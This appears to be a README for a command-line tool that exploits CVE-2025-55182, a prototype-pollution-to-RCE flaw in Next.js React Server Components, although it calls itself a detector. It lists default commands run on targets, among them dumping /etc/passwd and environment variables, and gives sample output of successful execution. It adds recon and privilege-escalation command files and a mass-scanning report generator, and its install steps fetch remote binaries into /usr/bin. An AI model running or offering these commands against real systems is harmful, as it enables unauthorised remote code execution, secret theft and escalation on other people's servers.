CVE-2025-55182

CVE-2025-55182

A command-line tool for detecting CVE-2025-55182 and CVE-2025-66478 in Next.js applications using React Server Components.

🚀 Installation

wget -q -O /usr/bin/CVE-2025-55182 https://raw.githubusercontent.com/rix4uni/CVE-2025-55182/refs/heads/main/CVE-2025-55182 && chmod +x /usr/bin/CVE-2025-55182
wget -q -O /usr/bin/reportgenerator https://raw.githubusercontent.com/rix4uni/CVE-2025-55182/refs/heads/main/reportgenerator && chmod +x /usr/bin/reportgenerator

🛠️ Usage

CVE-2025-55182 Scanner

Basic Syntax

CVE-2025-55182 -d https://example.com

Options

Note: If no command options are provided, default commands are executed.

Default Commands

The tool executes these commands by default:

1. cat /etc/os-release - OS information
2. whoami - Current user
3. pwd - Current working directory
4. id - User ID and groups
5. uname -a - System information
6. hostname -I - Network interfaces
7. ls -la - Directory listing
8. cat /etc/passwd - User accounts
9. env - Environment variables
10. ps aux - Running processes

Report Generator

The reportgenerator tool automatically generates professional vulnerability disclosure reports from scan results.

Features

• Parallel scanning of multiple targets
• Auto-numbering that preserves existing reports (no overwrites)
• Professional markdown reports with Security Vulnerability Disclosure section
• Customizable researcher name and input file

Basic Usage

# Create a file with target domains
echo -e "https://target1.com\nhttps://target2.com" > subs.txt

# Run report generator
reportgenerator

Options

Examples

# Use default settings (subs.txt, Bhagirath Saxena)
reportgenerator

# Use custom target file
reportgenerator --file targets.txt

# Use custom researcher name
reportgenerator --user "John Doe"

# Use both custom options
reportgenerator --file my-targets.txt --user "Jane Smith"

Output Structure

Reports are generated in two directories:

• textfile/ - Raw scan output (numbered: 1.txt, 2.txt, etc.)
• mdfile/ - Professional markdown reports (numbered: 1.md, 2.md, etc.)

Note: The auto-numbering feature ensures existing reports are never overwritten. New scans continue from the highest existing number.

Report Format

Each generated report includes:

1. Security Vulnerability Disclosure - Professional introduction letter
2. Target - The tested domain
3. Commands Executed - List of commands run during testing
4. Vulnerability Summary - CVE details and impact assessment
5. Exploitation Details - Command outputs with execution status
6. Execution Summary - Table showing success/failure of each command
7. Impact Analysis - Severity assessment and observations
8. Recommendations - Remediation steps for the security team
9. References - Links to CVE details and security advisories

🎨 Output Examples

Successful Exploitation

▼ 🎯 TARGET: https://vulnerable-app.com
▼ 📋 COMMANDS TO RUN: 10
  • cat /etc/os-release
  • whoami
  • pwd
  • id
  • uname -a
  • hostname -I
  • ls -la
  • cat /etc/passwd
  • env
  • ps aux

[1/10] Executing: cat /etc/os-release
▼ 💻 OS INFORMATION
║ NAME="Ubuntu"
║ VERSION="22.04.3 LTS (Jammy Jellyfish)"
║ ID=ubuntu
║ ID_LIKE=debian
║ PRETTY_NAME="Ubuntu 22.04.3 LTS"
║ ...

[2/10] Executing: whoami
▼ 👤 CURRENT USER
║ www-data
...

[3/10] Executing: pwd
▼ 📂 CURRENT DIRECTORY
║ /var/www/html
...

Partial Success

[6/10] Executing: hostname -I
╔════════════════════════════════════════════════════════════╗
║ Command failed: hostname -I
║ This command might not be available or the server rejected it
╚════════════════════════════════════════════════════════════╝

[!] Trying alternative network command...
▼ 🌐 NETWORK INTERFACES (alternative)
║ 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
║     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
║     inet 127.0.0.1/8 scope host lo
║        valid_lft forever preferred_lft forever
...

🔧 Technical Details

Vulnerability

• CVE: CVE-2025-55182
• Type: Prototype Pollution → RCE
• Affected: Next.js applications with specific configurations
• Vector: HTTP POST with crafted multipart/form-data
• Impact: Unauthenticated remote code execution as application user

📚 References

• CVE-2025-55182 Details
• Next.js Security Advisories

commands/ directory examples:

Create sample command files for different scenarios:

# commands/basic-recon.txt
whoami
id
uname -a
cat /etc/os-release
hostname

# commands/network-recon.txt
ifconfig
netstat -tulpn
iptables -L
cat /etc/hosts
cat /etc/resolv.conf

# commands/privilege-escalation.txt
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/sudoers
ls -la /root/